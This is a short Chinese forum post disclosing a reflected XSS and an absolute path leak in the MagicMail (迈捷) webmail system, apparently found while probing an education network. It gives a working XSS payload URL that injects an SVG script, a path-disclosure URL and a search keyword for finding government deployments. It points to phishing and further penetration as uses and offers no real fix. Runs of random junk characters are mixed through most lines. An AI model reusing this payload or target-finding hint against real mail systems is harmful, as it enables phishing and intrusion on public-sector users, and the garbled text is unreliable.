今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
1 @4 P- t8 i; n% R5 O1 p% Z! a5 N# A2 k
& q1 E* X* a+ B; S8 Z包含 一个反射性XSS 以及 绝对路径泄漏' V! z# s1 l( k, N, I
看了看 貌似全部是linux的。8 ^, d" Q1 o0 i8 n/ K [7 S$ Z$ O
9 L; Z7 {9 z7 p3 R
关键字：迈捷邮件系统 by MagicMail) j2 K' e/ a7 R$ ? e" L ~
, Y. I, ~ a7 G
可以看到很多政府网站都用这个邮件系统
2 l! }+ a6 ]9 o( a9 N; ^. l2 Y2 N2 Z; c/ {" Y( }
绝对路径 http://madman.in/index.php?login_type=declare&language=
- B2 E6 S- N% J: q u% u
6 P% U9 u, k/ _( I8 J- g2 [& g/ W. C4 O. m( a% e
G7 ~7 p4 v6 _% |9 \/ ?, b
XSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E% r( L& b% h- a/ S8 b5 }
; f1 ]% U( w* a" a* d# _3 b3 C0 E* d& |& [
' \: |$ ^& S6 \/ y
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等 r' `9 Z1 j) D. J1 f' h: s
! N$ h, M: H! k& P7 C修复方案：看官方补丁吧。
% V( f6 N; M2 z- _ |
发表于 2012-11-9 20:38:41
收藏
支持
反对